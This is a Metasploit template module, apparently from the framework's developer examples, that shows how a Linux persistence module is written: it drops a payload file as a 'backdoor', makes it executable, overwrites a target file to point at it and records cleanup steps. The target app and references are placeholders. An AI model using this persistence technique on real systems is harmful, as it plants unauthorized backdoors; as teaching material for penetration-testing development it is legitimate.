metasploit-gs/modules/exploits/example_linux_persistence.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# This exploit sample shows how a persistence module could be written
# for a linux computer.
#
###
class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  # includes: is_root?
  include Msf::Post::Linux::Priv
  # includes writable?, upload_file, upload_and_chmodx, exploit_data
  include Msf::Post::File
  # includes generate_payload_exe
  include Msf::Exploit::EXE
  # includes register_files_for_cleanup
  include Msf::Exploit::FileDropper
  # defines install_persistence and does our cleanup
  # WritableDir
  include Msf::Exploit::Local::Persistence
  # runs check automatically
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        # The Name should be just like the line of a Git commit - software name,
        # vuln type, class. Preferably apply
        # some search optimization so people can actually find the module.
        # We encourage consistency between module name and file name.
        'Name' => 'Sample Linux Persistence',
        'Description' => %q{
          This exploit sample shows how a persistence module could be written
          for a linux computer.
        },
        'License' => MSF_LICENSE,
        # The place to add your name/handle and email.  Twitter and other contact info isn't handled here.
        # Add reference to additional authors, like those creating original proof of concepts or
        # reference materials.
        # It is also common to comment in who did what (PoC vs metasploit module, etc)
        'Author' => [
          'h00die <mike@stcyrsecurity.com>', # msf module
          'researcher' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        # from underlying architecture of the system.  typically ARCH_X64 or ARCH_X86, but the exploit
        # may only apply to say ARCH_PPC or something else, where a specific arch is required.
        # A full list is available in lib/msf/core/payload/uuid.rb
        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
        # What types of sessions we can use this module in conjunction with.  Most modules use libraries
        # which work on shell and meterpreter, but there may be a nuance between one of them, so best to
        # test both to ensure compatibility.
        'SessionTypes' => [ 'meterpreter' ], # @clean_up_rc only works in meterpreter sessions
        'Targets' => [[ 'Auto', {} ]],
        # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
        # since privilege escalation modules typically result in elevated privileges, this is
        # generally set to true
        'Privileged' => true,
        # Often these have https://attack.mitre.org/techniques/ related to them
        'References' => [
          [ 'OSVDB', '12345' ],
          [ 'EDB', '12345' ],
          [ 'URL', 'http://www.example.com'],
          [ 'CVE', '1978-1234'],
          ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289
        ],
        'DisclosureDate' => '2023-11-29',
        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
        # It's generally easiest just to put the default at the beginning of the list and skip this
        # entirely.
        'DefaultTarget' => 0,
        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
    # force exploit is used to bypass the check command results
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def check
    # Check a example app is installed
    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
    return CheckCode::Safe('example app is required') unless command_exists?('example')

    CheckCode::Detected('example app is installed')
  end

  #
  # The install_persistence method installs the persistence, starts the handler, and does all
  # the main activities
  #
  def install_persistence
    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    # if an arch_cmd payload is selected, write and chmod the file
    # if an exe payload is selected, write it as an executable file
    if payload.arch.first == 'cmd'
      write_file(backdoor, payload.encoded)
      chmod(backdoor, 0o755)
    else
      upload_and_chmodx backdoor, generate_payload_exe
    end
    # add removing the file to the cleanup script. The script starts as nil, so we want to overwrite it to a string
    @clean_up_rc = "rm #{backdoor}\n"

    # back up an example file that we're going to write into so we can restore it
    # in our cleanup efforts
    example_file = read_file('/tmp/example_file')
    backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup')
    print_status("Created /tmp/example_file backup: #{backup_file}")
    # @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user.
    @clean_up_rc << "upload #{backup_file} /tmp/example_file\n"
    write_file('/tmp/example_file', backdoor)

    # the cleanup script will automatically be printed when the module is finished
  end
end